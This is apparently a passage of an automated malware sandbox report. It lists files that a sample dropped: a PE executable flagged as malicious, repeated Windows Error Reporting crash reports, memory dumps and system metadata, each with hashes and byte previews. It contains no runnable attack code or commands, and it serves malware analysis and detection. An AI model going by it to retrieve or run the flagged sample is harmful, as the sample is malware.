Category:	dropped
Size (bytes):	2686976
Entropy (8bit):	6.751038713203064
Encrypted:	false
SSDEEP:	49152:keH5u0a6hd0X890RJJlIgd6Mi60NwZCr2vcx:kb6h6X8ejJlIg4MwNwU
MD5:	68B9D34F203BF46CD4771604D15115BD
SHA1:	7366EB4AE060B434582935453FF2B77854F3D082
SHA-256:	A989EE68F0AB5CF327343AE760D4B47A7CA7C41944532205E5BD648B71CF68BE
SHA-512:	366A374B35DBC70BAAFE7C450F2F638D4E18B3A62BE0B5ACF3E0C85D0A21B98CC176B37FDE90AFB00F7A0FFE174D2001985E2CEAA9E0FC7C6D2742AE5FA40B63
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....L.................."..P.......{"......."...@..........................0).......).......................................".......#..............................................................................."..............................text.....".......".................`....rdata...2...."..@....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_14f03704-c0a9-40eb-964a-668825b036fb\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.858168195725435
Encrypted:	false
SSDEEP:	96:jQBdNU8ISs0nhq9oA7RE6tQXIDcQnc6rCcEhcw3rP0R90Rp+HbHg/8BRTf3o8FaD:jvTSw+056r3qvjlGzuiFcZ24IO8bp
MD5:	B13011D19969656F47F67097DE916C81
SHA1:	BA8C0389D86FB3756AED7313074ABA13F1088BB2
SHA-256:	9FEBA34CC38B60C92899F25794B8BD78DF95B25630E1F7577171310ADFDFE1C3
SHA-512:	68160E4C528223CF8CD676DB82E1458D71D4660AA3220A668894C0E372AB322FD8F1E339EDEC630EE8B2E1E5E053C352AE0FDE44AE8C08ADD7FE079C511909FD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.1.9.1.5.1.9.5.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.4.f.0.3.7.0.4.-.c.0.a.9.-.4.0.e.b.-.9.6.4.a.-.6.6.8.8.2.5.b.0.3.6.f.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.c.0.9.a.6.3.-.4.7.1.6.-.4.a.b.c.-.a.6.e.8.-.a.c.6.f.e.d.3.f.3.a.e.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.c.-.0.0.0.1.-.0.0.1.4.-.d.5.7.5.-.a.a.3.c.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.c.2.3.2.c.9.0.f.6.d.d.9.4.5.6.5.7.c.3.9.2.1.b.f.4.d.6.f.3.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.0.4.0.6.4.2.e.5.4.4.f.3.3.0.5.4.e.c.4.2.5.a.6.a.7.c.5.c.6.0.d.d.0.7.1.d.6.6.4.!.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.1.:.0.0.:.0.3.:.1.0.!.0.!.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_387c352d-719b-421b-b3c1-1bdb15d42acc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8582908963513963
Encrypted:	false
SSDEEP:	96:j3sMdNU8I3s0nhq9oA7RE6tQXIDcQnc6rCcEhcw3rP0R90Rp+HbHg/8BRTf3o8F2:jc9T3w+056r3qvjlGzuiFcZ24IO8bp
MD5:	A9CF24BAC40A0E5776F5B886879387DC
SHA1:	3343CCBB4C77A45EC9697790AC358817DDFBE8B3
SHA-256:	5261B6B5C7791C2C70EC3B9DF07EB6C1DED43348D4E6AB581DFA02EDA6C731D1
SHA-512:	DAF57E2A456581C0D3D9DB2AB6A7623C8DFAC6066D72656BACD1208755BD903B14C592D39ADD9EDC20A8388747E3FF0EED15169BF5E39493CA8FB612944FADF1
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.1.7.8.6.3.1.1.5.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.7.c.3.5.2.d.-.7.1.9.b.-.4.2.1.b.-.b.3.c.1.-.1.b.d.b.1.5.d.4.2.a.c.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.c.a.b.3.5.d.5.-.9.6.1.b.-.4.1.d.3.-.8.b.2.6.-.0.8.4.4.e.5.3.8.e.7.e.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.c.-.0.0.0.1.-.0.0.1.4.-.d.5.7.5.-.a.a.3.c.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.c.2.3.2.c.9.0.f.6.d.d.9.4.5.6.5.7.c.3.9.2.1.b.f.4.d.6.f.3.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.0.4.0.6.4.2.e.5.4.4.f.3.3.0.5.4.e.c.4.2.5.a.6.a.7.c.5.c.6.0.d.d.0.7.1.d.6.6.4.!.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.1.:.0.0.:.0.3.:.1.0.!.0.!.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_734b19a0-9dc6-4428-8efd-3bfa4eb94daa\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8583166196504876
Encrypted:	false
SSDEEP:	96:jIV7dNU8IJs0nhq9oA7RE6tQXIDcQnc6rCcEhcw3rP0R90Rp+HbHg/8BRTf3o8F2:jnTJw+056r3qvjlGzuiFcZ24IO8bp
MD5:	B63E45722D4930B2DDEE8F2B9D99FA34
SHA1:	D60DEC2DB633B3D21373A45F0526B5EE77703B65
SHA-256:	D8FDE03EFABCD0E54BA895B19D832667E0B57903D975E51CAAB5636BFB038C2D
SHA-512:	ECA6F5528C5A881548CF3471182F092770A48F088B4EE0267129B54AF6312CC6B0A19F11DC50DE4C4DF0AF9F675505456C725CA58CE00C30E76C7BC63C463138
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.1.5.5.5.0.7.2.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.4.b.1.9.a.0.-.9.d.c.6.-.4.4.2.8.-.8.e.f.d.-.3.b.f.a.4.e.b.9.4.d.a.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.8.e.c.4.9.c.c.-.7.f.d.1.-.4.a.b.b.-.a.1.8.b.-.8.2.a.b.f.3.e.b.e.1.d.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.c.-.0.0.0.1.-.0.0.1.4.-.d.5.7.5.-.a.a.3.c.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.c.2.3.2.c.9.0.f.6.d.d.9.4.5.6.5.7.c.3.9.2.1.b.f.4.d.6.f.3.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.0.4.0.6.4.2.e.5.4.4.f.3.3.0.5.4.e.c.4.2.5.a.6.a.7.c.5.c.6.0.d.d.0.7.1.d.6.6.4.!.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.1.:.0.0.:.0.3.:.1.0.!.0.!.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_90b25c10-298e-40be-9959-3b69a56e67fc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8583173512304455
Encrypted:	false
SSDEEP:	96:C6B0dNU8Ims0nhq9oA7RE6tQXIDcQnc6rCcEhcw3rP0R90Rp+HbHg/8BRTf3o8F2:HB1Tmw+056r3qvjlGzuiFcZ24IO8bp
MD5:	4D9F7DD41FA5E3BD6B248CC494809A0B
SHA1:	E96D46080975062223B6FD95013153DDFAB4CDDD
SHA-256:	1BA7CC3DF3D7AE3314F344DAE8E8A47864E4623135A6C651C975EF92CD509F5A
SHA-512:	D7A21EB9FDA1D935B4DAF10F974C4C456E776F54D4F10EB7F2D25005043E0F18C3F92E967D59E3433A4661B106E3EE09B340A55A73DEBEA661C47832F6E3DC65
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.2.1.2.5.8.2.8.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.b.2.5.c.1.0.-.2.9.8.e.-.4.0.b.e.-.9.9.5.9.-.3.b.6.9.a.5.6.e.6.7.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.5.1.5.5.5.3.b.-.9.3.0.4.-.4.d.a.8.-.a.f.2.6.-.7.8.b.e.b.6.5.4.1.f.3.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.c.-.0.0.0.1.-.0.0.1.4.-.d.5.7.5.-.a.a.3.c.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.c.2.3.2.c.9.0.f.6.d.d.9.4.5.6.5.7.c.3.9.2.1.b.f.4.d.6.f.3.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.0.4.0.6.4.2.e.5.4.4.f.3.3.0.5.4.e.c.4.2.5.a.6.a.7.c.5.c.6.0.d.d.0.7.1.d.6.6.4.!.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.1.:.0.0.:.0.3.:.1.0.!.0.!.t.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tyq3dazbB0crObgK_14e4c4bdfbf874b512fc3170f3f83834d8ec981d_07c48f9b_e297006f-820d-4663-b3a1-ecbcf3c49020\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8735246716363465
Encrypted:	false
SSDEEP:	96:P5dNU8Ids0nhq9oA7RE6tQXIDcQnc6rCcEhcw3rP0R90Rp+HbHg/8BRTf3o8Fa97:WTdw+056r3qvjlszuiFcZ24IO8bp
MD5:	754DEC3BC87F744732ECBCA08D53C45A
SHA1:	9BD4106D4D16207C68101F408AFE28F326186007
SHA-256:	3ED662B1A8C985971ECFC58CA71C67309972C84CBDA2A241FFA482EF49285B8B
SHA-512:	D5D48AE7F2E66A92536CFCB549E9CD345E9D51858F70BF1669780A16349E8CA6CA9A14C26A3820B7FB8C8D8721DF63C9F37C11AFBF85AD20F2452855D9F2E867
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.0.3.7.6.2.3.1.7.5.5.9.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.2.9.7.0.0.6.f.-.8.2.0.d.-.4.6.6.3.-.b.3.a.1.-.e.c.b.c.f.3.c.4.9.0.2.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.b.9.d.5.1.3.-.b.d.e.c.-.4.0.6.5.-.a.0.d.5.-.0.1.a.d.5.c.4.b.a.2.5.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.c.-.0.0.0.1.-.0.0.1.4.-.d.5.7.5.-.a.a.3.c.f.9.1.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.2.c.2.3.2.c.9.0.f.6.d.d.9.4.5.6.5.7.c.3.9.2.1.b.f.4.d.6.f.3.0.0.0.0.0.f.f.f.f.!.0.0.0.0.f.0.4.0.6.4.2.e.5.4.4.f.3.3.0.5.4.e.c.4.2.5.a.6.a.7.c.5.c.6.0.d.d.0.7.1.d.6.6.4.!.t.y.q.3.d.a.z.b.B.0.c.r.O.b.g.K.I.D.G.L.x.i.A.O...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.1.:.0.0.:.0.3.:.1.0.!.0.!.t.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10B9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696269053661944
Encrypted:	false
SSDEEP:	96:TiZYWGHdPQBhDYUYaWFjHSTYEZFUstdiUHDDpw1iZ+auZCMr2beIzkI:2ZDGWDEVFC+auZCMabpzkI
MD5:	61C989CCA4853FE28E435982D065FD80
SHA1:	AC90DCCAD5892E1D55283C96BA4AA0DF379689DD
SHA-256:	E662DFAEA4280888E4A1F7CE25491C9E157A401C82CCAEB34C7088FFDA598189
SHA-512:	DA922E0FBC9F3A9681E8EAB4917A3E5E13852E2F43FE5805563C9AF0990D78B57F3E81303DBA7DEE34824BE7BD39097C0F94F434DC3DE6E6ADE272BC77DB49D4
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10E9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	13340
Entropy (8bit):	2.696774232896368
Encrypted:	false
SSDEEP:	96:TiZYWGaEOO+/QeYzYUWxHSTYEZtnstdiuHIDpwicPoasZAMxQb+IvkI:2ZDGdeUrndGoasZAMGbJvkI
MD5:	22D800F0332F48682FEE680B0275466F
SHA1:	116CFA16A7C1C30A04F2C244F03557D4AB980DDD
SHA-256:	11F16B62D66A8358CB202F33DA4258810C1F745B503AB1A2E2CC8AFEDC7F99ED
SHA-512:	F735DD1287FBB4CF3CFBA577DDDAEB948236FDAC0405F569711EB045CD8871CB7F1FFE7FC44EA41A7014F4D16CFDEB2908F46DC7791C7E1E396EB854A2B14713
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3335.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Sep 28 22:53:36 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	65992
Entropy (8bit):	2.3042611275525884
Encrypted:	false
SSDEEP:	384:JOn4dqMzZbt1R1gftSngnUXZl7es/BRL8kB2N33aZXkDj:JO4FzttxKSfXZl75JR8k+3H
MD5:	8F4A3102F85BCC5032323D4827648312
SHA1:	37E8F4099826823146007D9EA6BFBB2699E492EF
SHA-256:	EA61391234DC6C2A50B688246A4C56E3C0E912D7FA74E5FB7FBCF47DAEC4612A
SHA-512:	FC4B25E87B2742A503B3B8852C943D5658F8AF1532E2F8006221C8AEFB5C656C1092A5E40DD99F99379AB5B8C7EE1BB2274B4C8FF7C33FA30F6149D9EAC4A13A
Malicious:	false
Preview:	MDMP..a..... ..........f........................\...........4....-..........T.......8...........T...........H...............X...........D...............................................................................eJ..............GenuineIntel............T.............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3818.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8454
Entropy (8bit):	3.7051860180841225
Encrypted:	false
SSDEEP:	192:R6l7wVeJpPv616Y3Y6tldgmf3DpBRG89bG7sfxim:R6lXJRv616YI6t/gmf3FPGAfV
MD5:	14D7AD05319915947DECD518D8821178
SHA1:	0843D3229D1CAB49813A1CA69C2A30F25FAFA25F
SHA-256:	FF04566A5B12BD57C076879A45F6F31410957F8CB311C2C7E18FD529BE74EBFC
SHA-512:	7636B4C8523E8CD4311B59582C6615C752CA443F80FC654CC6B8D66D66B7DAABC9123FFCE22DDE4D0F981EE2B73F489B9A6C1527292E5E692C45C499974F1E77
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3904.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4790
Entropy (8bit):	4.531713613778227
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9gLWpW8VY3Ym8M4J/JEFd+q8v5JD9RIMhyZad:uIjf8I7+67VrJBkKDDXfAZad
MD5:	7AB813CDDAE22567CFDF14E1D37BD487
SHA1:	7A1E1CDB8F715AFDE19345ABA5DC596802F85372
SHA-256:	CD9EB4B89ED10F7611325A7CC85916CD3B6911FE9132C4A1528561B963A5C170
SHA-512:	416967B32CBFB38A87FE60428A3610162CC804E173DE15B08D1BF26B21F25603DBD03EF2B5408936FBD1503A5E46F497D94FDA45ABC401ADF404A2290BD2C12E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520676" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3911.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87636
Entropy (8bit):	3.0465184047191634
Encrypted:	false
SSDEEP:	1536:Z4Ro2Yjhk4lC1oSdqZj1QH1zFsPnkpubobRrvuywEzDf97RBptrqQH60h:Z4Ro2Yjhk4lC1oSdqZj1QH1zFsPnkpuU
MD5:	1D210592C5C05F3120E5605325AA35DB
SHA1:	98BE30D7854B79AAF2ABFB8A4912D272603E7843
SHA-256:	507FABDDC54EE8BDEE444805061D035585E84AB04512E252708FCEFEF20D81E1
SHA-512:	78B6EC49F8FCCBBB5C926B5DE055143DE7FB61CE417A7CCD0E24716136589F4670BF91A079508DAA6CB241E8CD1ADABFEA1FD7C90DBBD0059A8DA9B33644FC55
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3970.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684819748411035
Encrypted:	false
SSDEEP:	96:TiZYWhyQB3KYRYjLWryAH0YEZ8G77tai20H14Gw+ZPz3aTni2MMOgIE23:2ZDg2cTyGNZjaTnTMMO3E23
MD5:	F30D2FD3BD3BBA412FBB3DD473E02294
